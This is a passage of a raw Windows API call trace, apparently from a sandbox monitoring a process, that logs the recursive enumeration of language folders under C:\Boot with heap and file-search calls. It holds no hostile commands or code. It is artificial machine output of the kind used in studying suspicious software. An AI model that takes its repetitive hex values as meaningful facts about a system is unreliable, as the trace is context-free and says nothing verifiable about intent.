nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="it-IT", cAlternateFileName="")) returned 1 [0213.424] GetProcessHeap () returned 0xc10000 [0213.424] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.424] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0213.425] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.425] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.425] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.425] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.425] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0213.425] GetProcessHeap () returned 0xc10000 [0213.425] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.425] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0213.425] GetProcessHeap () returned 0xc10000 [0213.425] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.425] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0213.426] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.426] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.426] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.426] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.426] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0213.426] GetProcessHeap () returned 0xc10000 [0213.426] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.426] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0213.426] GetProcessHeap () returned 0xc10000 [0213.426] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.426] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.427] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.427] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.427] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.427] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.427] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0213.427] GetProcessHeap () returned 0xc10000 [0213.427] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.427] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0213.427] GetProcessHeap () returned 0xc10000 [0213.427] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.427] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\lt-LT\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0213.427] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.428] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.428] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0213.428] FindClose (in: hFindFile=0x33e4c68 | out: hFindFile=0x33e4c68) returned 1 [0213.428] GetProcessHeap () returned 0xc10000 [0213.428] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.428] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0213.428] GetProcessHeap () returned 0xc10000 [0213.428] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\lv-LV\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0213.428] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.428] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.428] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0213.429] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0213.429] GetProcessHeap () returned 0xc10000 [0213.429] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.429] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0213.429] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0213.429] GetProcessHeap () returned 0xc10000 [0213.429] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.429] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.429] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.429] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.429] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.430] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.430] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0213.430] GetProcessHeap () returned 0xc10000 [0213.430] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.430] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0213.430] GetProcessHeap () returned 0xc10000 [0213.430] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.430] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0213.430] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.430] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.430] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.431] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.431] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0213.431] GetProcessHeap () returned 0xc10000 [0213.431] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.431] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, 